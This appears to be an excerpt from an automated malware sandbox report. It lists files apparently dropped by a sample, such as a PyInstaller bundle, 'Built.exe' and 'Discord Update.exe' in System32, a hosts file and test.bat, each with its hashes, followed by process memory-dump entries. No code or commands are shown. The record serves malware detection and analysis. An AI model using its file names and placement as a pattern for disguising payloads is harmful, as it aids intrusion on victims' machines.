203daa59e7bf083176cbfcc614e3bac09da83d1d09ef4fcd151f32b96499d4b2

SHA512
bec35443715f98ee42fda3697c2009c66d79b1170714ea6dedde51205b64a845194fe3786702e04c593059ee4ad4bbfa776fbc130a3400a4a995172675b3dfa9

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_sqlite3.pyd
Filesize
56KB

MD5
467bcfb26fe70f782ae3d7b1f371e839

SHA1
0f836eb86056b3c98d7baf025b37d0f5fe1a01a5

SHA256
6015c657b94e008e85f930d686634d2cafa884fd8943207ee759bc3a104c0f48

SHA512
19362aa94e6e336fd02f1f60fde9c032a45315f7973a1e597761ae3b49b916aecd89934b8ed33ee85fd53e150a708a4f8f2a25683fb15491daa8430c87a6511c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\_ssl.pyd
Filesize
65KB

MD5
96af7b0462af52a4d24b3f8bc0db6cd5

SHA1
2545bb454d0a972f1a7c688e2a5cd41ea81d3946

SHA256
23c08f69e5eaa3a4ab9cab287d7dc2a40aca048c8b3c89992cdb62d4de6eb01f

SHA512
2a8ed5a4143b3176e96d220f0255da32a139909dd49625ef839c2dfce46e45f11a0b7340eb60ad1f815a455333e45aece6e0d47a8b474419e3cbbbd46f01c062

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\base_library.zip
Filesize
1.4MB

MD5
6e706e4fa21d90109df6fce1b2595155

SHA1
5328dd26b361d36239facff79baca1bab426de68

SHA256
ce9b9f16ce0d9abdbac3307115d91eaf279c5152336ccbe8830151b41c802998

SHA512
c7e377e2854ad5b5c3fb23593817ad6345bf8a78d842ff2a45c3be135fad6bb27b67c5b6c01b26e7c1b1b12ea0814f4f6b6a522bbfa689b89fa50d3652799b34

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\blank.aes
Filesize
116KB

MD5
0134453c3b7f0badd5c9007c02952f2e

SHA1
abf4176d4519177bb537189b69105f9ed193a3f9

SHA256
31b8bfb109e13b4487987c9e96ffbca438b466afe7087305e9ecafe2e928a68f

SHA512
38ba9f199f12a4dd8915996ed014569101331d8d76e8d2e8b60fffe6ff852bd5191c67009de7375fa1d8bd50f10e82fb006424ef820810c92e6177c5f31e2b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\libcrypto-3.dll
Filesize
1.6MB

MD5
7f1b899d2015164ab951d04ebb91e9ac

SHA1
1223986c8a1cbb57ef1725175986e15018cc9eab

SHA256
41201d2f29cf3bc16bf32c8cecf3b89e82fec3e5572eb38a578ae0fb0c5a2986

SHA512
ca227b6f998cacca3eb6a8f18d63f8f18633ab4b8464fb8b47caa010687a64516181ad0701c794d6bfe3f153662ea94779b4f70a5a5a94bb3066d8a011b4310d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\libffi-8.dll
Filesize
29KB

MD5
08b000c3d990bc018fcb91a1e175e06e

SHA1
bd0ce09bb3414d11c91316113c2becfff0862d0d

SHA256
135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

SHA512
8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\libssl-3.dll
Filesize
222KB

MD5
264be59ff04e5dcd1d020f16aab3c8cb

SHA1
2d7e186c688b34fdb4c85a3fce0beff39b15d50e

SHA256
358b59da9580e7102adfc1be9400acea18bc49474db26f2f8bacb4b8839ce49d

SHA512
9abb96549724affb2e69e5cb2c834ecea3f882f2f7392f2f8811b8b0db57c5340ab21be60f1798c7ab05f93692eb0aeab077caf7e9b7bb278ad374ff3c52d248

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\python311.dll
Filesize
1.6MB

MD5
b167b98fc5c89d65cb1fa8df31c5de13

SHA1
3a6597007f572ea09ed233d813462e80e14c5444

SHA256
28eda3ba32f5247c1a7bd2777ead982c24175765c4e2c1c28a0ef708079f2c76

SHA512
40a1f5cd2af7e7c28d4c8e327310ea1982478a9f6d300950c7372634df0d9ad840f3c64fe35cc01db4c798bd153b210c0a8472ae0898bebf8cf9c25dd3638de8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\rar.exe
Filesize
615KB

MD5
9c223575ae5b9544bc3d69ac6364f75e

SHA1
8a1cb5ee02c742e937febc57609ac312247ba386

SHA256
90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

SHA512
57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\rarreg.key
Filesize
456B

MD5
4531984cad7dacf24c086830068c4abe

SHA1
fa7c8c46677af01a83cf652ef30ba39b2aae14c3

SHA256
58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

SHA512
00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\select.pyd
Filesize
25KB

MD5
d76b7f6fd31844ed2e10278325725682

SHA1
6284b72273be14d544bb570ddf180c764cde2c06

SHA256
e46d0c71903db7d735cc040975bfc480dfea34b31b3e57b7dafa4c1f4058e969

SHA512
943ca5600f37cf094e08438e1f93b869f108abd556785e5d090051ed8cf003e85c1b380fc95f95bc871db59ffdd61099efa2e32d4354ca0cc70a789cf84abaa1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\sqlite3.dll
Filesize
630KB

MD5
73b763cedf2b9bdcb0691fb846894197

SHA1
bf2a9e88fba611c2e779ead1c7cfd10d7f4486b2

SHA256
e813695191510bf3f18073491dc0ea1b760bc22c334eefe0e97312810de5d8d5

SHA512
617cb2b6027a3aba009bb9946347c4e282dd50d38ca4764e819631feb3a7fd739fd458e67866f9f54b33b07645ca55229030860a4faab5f677866cfa4a1f7ee2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI43042\unicodedata.pyd
Filesize
295KB

MD5
6873de332fbf126ddb53b4a2e33e35a5

SHA1
93748c90cd93fda83fcd5bb8187eeaf6b67a2d08

SHA256
f5631d92e9da39a6a1e50899d716eac323829d423a7f7fa21bd5061232564370

SHA512
0e03ba8c050aeadf88c390e5ea5e8e278f873885c970b67d5bc0675d782233a2925e753dae151c7af9976f64c42eba04a4dcec86204e983f6f6f2788a928401c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xwm023r2.epv.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\vsrwaxbk\vsrwaxbk.dll
Filesize
4KB

MD5
cd864b1c3cb2f2cdaf91adb87b2c668e

SHA1
ff41760522c19249c8bbc7d0a3eb570c391cbd85

SHA256
93e84463079091da241d32d3405cf62ae3915224608a5adb755ab5d0046f594d

SHA512
e1ab3f0ea261042eaf8020f1c6d28db9aacffc3bb875e9db5ccee51ce148289fb3206b303979323399bb63ff6c23362167074a05da64c7103f165ca412fc2857

Download Submit
C:\Windows\System32\Built.exe
Filesize
7.4MB

MD5
7e312ac869e50b5847ff56eab59567d2

SHA1
3bcefc87de994260931ac94760e6b478696048be

SHA256
5a77b59bd2f5486fbb176fe7c7e8cc478419247c142e5ea7db8d14966bccb5af

SHA512
fb9a3658a636644d2df12c2ca1d6f399c84e571491a0dab888d798e5b9ccfb648e077cb90dfbffd5ad24f85441fafc1bb887b160263a2d53577c5db1adf892ee

Download Submit
C:\Windows\System32\Discord Update.exe
Filesize
134KB

MD5
4410c71f9822bed243880819c44b7fa3

SHA1
745035f4bf8cd4712f18e8dafb396547ee0c33d2

SHA256
e589632d72d5171c9cf15e9765042ce5273b19353c75a1e221b1ca0e80fe545f

SHA512
1c32bfe982c957863479fec6f3aac071deb00aa2f74c4fd32c1da655cf033f17f73a10a6dfb8d25d5412388eb97d4bf9beeb84073c1e0efd8ffb3947b32fb10a

Download Submit
C:\Windows\System32\drivers\etc\hosts
Filesize
2KB

MD5
f99e42cdd8b2f9f1a3c062fe9cf6e131

SHA1
e32bdcab8da0e3cdafb6e3876763cee002ab7307

SHA256
a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

SHA512
c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

Download Submit
C:\Windows\System32\test.bat
Filesize
435B

MD5
40f36b839af3aad8887e3cfe758efab8

SHA1
2d60ce25bf47ce4c4969cd73bd204491a3e2d18e

SHA256
c9650c17cca714b78e175479a9d9bcf2b6d01629d00418fc2f2b9167563ecb1d

SHA512
13ee91dde3b5c6920fc94df15e1d37f66f009a3b5d770fc747d7000a8c4d5091dddaf642b3f1edf01e3ac7f63b652576525401a801c6e4f7621860070f667f8c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vsrwaxbk\CSC6598DFE0DF4340D7A25EAE57E2BEE934.TMP
Filesize
652B

MD5
23c476b87409c79928debad2f53bd505

SHA1
915d74e663591c9ae0cecb23b6b1b6bc4433d41b

SHA256
b0e11970a2fb9472ddb17b31841263cc8d8491456e3e354b9e51cd91a93b3d33

SHA512
93cf920c6d2865974e7651da3a0a2b78ab4279ecae65e01f725837b5955f706b487a1eb2e8f5bfa9ee2b3278564db2f9c9e84b036fe21fb3373d7f3b2b76867b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vsrwaxbk\vsrwaxbk.0.cs
Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vsrwaxbk\vsrwaxbk.cmdline
Filesize
607B

MD5
0c7e8720bdb2580b89797c087c6045d8

SHA1
d715ceabe906899fd7d03f015af3eb0d17975c7d

SHA256
2a2b28bf88af467bafa0672f07879a9cae67b28bd5509cb3d353313c3656527e

SHA512
24820d0f2311dfa58b44897b60d75faadc32b0b3c057c0a79073c96bda47e2d63884153c65f675bd143abc9bb02a5c68cce596edb3628c115595e56d4860d166

Download Submit
memory/1184-25-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/1184-31-0x00000245EE2A0000-0x00000245EE2B0000-memory.dmp

Filesize
64KB

Download
memory/1184-32-0x00000245EE2A0000-0x00000245EE2B0000-memory.dmp

Filesize
64KB

Download
memory/1184-39-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/1396-161-0x00007FFD07280000-0x00007FFD072B3000-memory.dmp

Filesize
204KB

Download
memory/1396-391-0x00007FFCF3F70000-0x00007FFCF4560000-memory.dmp

Filesize
5.9MB

Download
memory/1396-160-0x00007FFD07C30000-0x00007FFD07C3D000-memory.dmp

Filesize
52KB

Download
memory/1396-162-0x00007FFCF4800000-0x00007FFCF48CD000-memory.dmp

Filesize
820KB

Download
memory/1396-163-0x00007FFCF2AA0000-0x00007FFCF2FC9000-memory.dmp

Filesize
5.2MB

Download
memory/1396-165-0x00007FFD07260000-0x00007FFD07274000-memory.dmp

Filesize
80KB

Download
memory/1396-166-0x00007FFD07920000-0x00007FFD0792D000-memory.dmp

Filesize
52KB

Download
memory/1396-164-0x000001F212C10000-0x000001F213139000-memory.dmp

Filesize
5.2MB

Download
memory/1396-159-0x00007FFD07550000-0x00007FFD07569000-memory.dmp

Filesize
100KB

Download
memory/1396-158-0x00007FFCF3DF0000-0x00007FFCF3F66000-memory.dmp

Filesize
1.5MB

Download
memory/1396-167-0x00007FFCF3CD0000-0x00007FFCF3DEC000-memory.dmp

Filesize
1.1MB

Download
memory/1396-111-0x00007FFCF3F70000-0x00007FFCF4560000-memory.dmp

Filesize
5.9MB

Download
memory/1396-155-0x00007FFD072F0000-0x00007FFD0731D000-memory.dmp

Filesize
180KB

Download
memory/1396-157-0x00007FFD072C0000-0x00007FFD072E3000-memory.dmp

Filesize
140KB

Download
memory/1396-527-0x00007FFCF3F70000-0x00007FFCF4560000-memory.dmp

Filesize
5.9MB

Download
memory/1396-156-0x00007FFD08730000-0x00007FFD08749000-memory.dmp

Filesize
100KB

Download
memory/1396-134-0x00007FFD08940000-0x00007FFD0894F000-memory.dmp

Filesize
60KB

Download
memory/1396-133-0x00007FFD07C40000-0x00007FFD07C64000-memory.dmp

Filesize
144KB

Download
memory/1396-418-0x00007FFCF3F70000-0x00007FFCF4560000-memory.dmp

Filesize
5.9MB

Download
memory/1420-95-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/1420-2-0x000000001C540000-0x000000001C550000-memory.dmp

Filesize
64KB

Download
memory/1420-0-0x0000000000CC0000-0x0000000001426000-memory.dmp

Filesize
7.4MB

Download
memory/1420-1-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/1756-18-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/1756-13-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/1756-14-0x000002B9290D0000-0x000002B9290E0000-memory.dmp

Filesize
64KB

Download
memory/1756-15-0x000002B9290D0000-0x000002B9290E0000-memory.dmp

Filesize
64KB

Download
memory/1756-8-0x000002B929020000-0x000002B929042000-memory.dmp

Filesize
136KB

Download
memory/2308-168-0x0000000002930000-0x0000000002940000-memory.dmp

Filesize
64KB

Download
memory/2308-298-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/2308-52-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/2308-53-0x0000000000670000-0x0000000000698000-memory.dmp

Filesize
160KB

Download
memory/2604-334-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/2604-236-0x000002AD46C30000-0x000002AD46C40000-memory.dmp

Filesize
64KB

Download
memory/2604-274-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/2604-264-0x000002AD46C30000-0x000002AD46C40000-memory.dmp

Filesize
64KB

Download
memory/3648-336-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/3648-170-0x000001F736D70000-0x000001F736D80000-memory.dmp

Filesize
64KB

Download
memory/3648-65-0x000002A64DDB0000-0x000002A64DDC0000-memory.dmp

Filesize
64KB

Download
memory/3648-63-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/3648-64-0x000002A64DDB0000-0x000002A64DDC0000-memory.dmp

Filesize
64KB

Download
memory/3648-169-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/3648-68-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/4644-181-0x000001D6CAD80000-0x000001D6CAD90000-memory.dmp

Filesize
64KB

Download
memory/4644-180-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/4644-297-0x000001D6CAD80000-0x000001D6CAD90000-memory.dmp

Filesize
64KB

Download
memory/4644-335-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/4844-396-0x0000022057D50000-0x0000022057D60000-memory.dmp

Filesize
64KB

Download
memory/4844-402-0x0000022057D50000-0x0000022057D60000-memory.dmp

Filesize
64KB

Download
memory/4844-395-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/5684-287-0x000002AB17580000-0x000002AB17590000-memory.dmp

Filesize
64KB

Download
memory/5684-324-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/5684-286-0x000002AB17580000-0x000002AB17590000-memory.dmp

Filesize
64KB

Download
memory/5684-285-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/5968-304-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/5968-303-0x000001EC25120000-0x000001EC25130000-memory.dmp

Filesize
64KB

Download
memory/5968-302-0x000001EC25120000-0x000001EC25130000-memory.dmp

Filesize
64KB

Download
memory/6008-388-0x000002243E9F0000-0x000002243E9F8000-memory.dmp

Filesize
32KB

Download
memory/6008-394-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/6008-300-0x0000022424A10000-0x0000022424A20000-memory.dmp

Filesize
64KB

Download
memory/6008-299-0x00007FFCF8280000-0x00007FFCF8D41000-memory.dmp

Filesize
10.8MB

Download
memory/6008-301-0x0000022424A10000-0x0000022424A20000-memory.dmp

Filesize
64KB

Download